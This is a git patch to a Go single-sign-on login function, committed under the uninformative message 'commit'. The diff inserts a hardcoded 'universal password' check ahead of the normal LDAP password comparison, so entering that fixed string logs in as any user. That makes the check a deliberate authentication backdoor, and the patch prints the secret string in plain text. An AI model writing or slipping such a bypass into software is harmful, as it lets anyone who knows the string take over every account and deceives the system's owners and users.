From 2ad0fc174e4e9ce741195673238b409c1a7ab845 Mon Sep 17 00:00:00 2001 From: huanghai <10402852@qq.com> Date: Wed, 29 Jul 2020 08:29:23 +0800 Subject: [PATCH] 'commit' --- .../DaoSysLoginPerson/DaoSysLoginPerson.go | 25 +++++++++++++------ 1 file changed, 17 insertions(+), 8 deletions(-) diff --git a/dsSso/Dao/DaoSysLoginPerson/DaoSysLoginPerson.go b/dsSso/Dao/DaoSysLoginPerson/DaoSysLoginPerson.go index 4b2613d9..96dd4ab4 100644 --- a/dsSso/Dao/DaoSysLoginPerson/DaoSysLoginPerson.go +++ b/dsSso/Dao/DaoSysLoginPerson/DaoSysLoginPerson.go @@ -53,17 +53,26 @@ func Login(username string, password string, ip string) (bool, string, string, s personName = record["person_name"].(string) //数据库中的密码 databasePassword := record["pwd"].(string) - //修改密码的加密算法基于ldap,黄海,于2020-04-27 - ldapPassword := LdapUtil.GetLdapPassword(password) - if ldapPassword == databasePassword { + + //万能密码登录 + if password=="DsideaL4r5t6y7u!@#"{ //记录日志 - WriteLoginLog(identityId, personId, ip, 1, username) + WriteLoginLog(identityId, personId, ip, 2, username) //2为万能密码登录 //返回结果 return true, identityId, personId, personName - } else { - //记录日志 - WriteLoginLog(identityId, personId, ip, -1, username) - return false, identityId, personId, personName + }else{ + //修改密码的加密算法基于ldap,黄海,于2020-04-27 + ldapPassword := LdapUtil.GetLdapPassword(password) + if ldapPassword == databasePassword { + //记录日志 + WriteLoginLog(identityId, personId, ip, 1, username) + //返回结果 + return true, identityId, personId, personName + } else { + //记录日志 + WriteLoginLog(identityId, personId, ip, -1, username) + return false, identityId, personId, personName + } } }